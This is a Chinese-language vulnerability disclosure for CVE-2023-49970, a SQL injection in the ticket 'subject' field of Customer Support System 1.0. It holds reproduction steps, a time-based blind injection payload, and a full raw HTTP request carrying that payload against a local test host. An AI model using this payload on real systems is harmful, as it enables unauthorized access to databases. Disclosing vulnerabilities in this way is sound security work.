描述：Customer Support System 1.0版本存在SQL注入漏洞。恶意攻击者在创建/编辑工单时，可通过易受攻击的参数“subject”向MySQL数据库发送SQL命令。
受影响产品版本：Customer Support System 1.0
CVE作者：Geraldo Alcântara
日期：2023年11月28日
确认日期：2023年12月19日
CVE编号：CVE-2023-49970
测试环境：Windows
1- 登录应用程序。
2- 导航至页面 /customer_support/index.php?page=new_ticket 添加新工单，或 /customer_support/index.php?page=ticket_list 编辑工单。
3- 创建或编辑工单，并在“subject”参数中插入恶意载荷。
载荷：[email protected]'+(select*from(select(sleep(2)))a)+'
POST /customer_support/ajax.php?action=save_ticket HTTP/1.1
Host: 192.168.68.148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------81419250823331111993422505835
Content-Length: 853
Origin: http://192.168.68.148
Connection: close
Referer: http://192.168.68.148/customer_support/index.php?page=new_ticket
Cookie: csrftoken=1hWW6JE5vLFhJv2y8LwgL3WNPbPJ3J2WAX9F2U0Fd5H5t6DSztkJWD4nWFrbF8ko; sessionid=xrn1sshbol1vipddxsijmgkdp2q4qdgq; PHPSESSID=mfd30tu0h0s43s7kdjb74fcu0l
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="id"
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="subject"
teste'+(select*from(select(sleep(5)))a)+'
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="customer_id"
3
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="department_id"
4
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="description"
<p>Blahs<br></p>
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="files"; filename=""
Content-Type: application/octet-stream
-----------------------------81419250823331111993422505835--
发现者/致谢： Geraldo Alcântara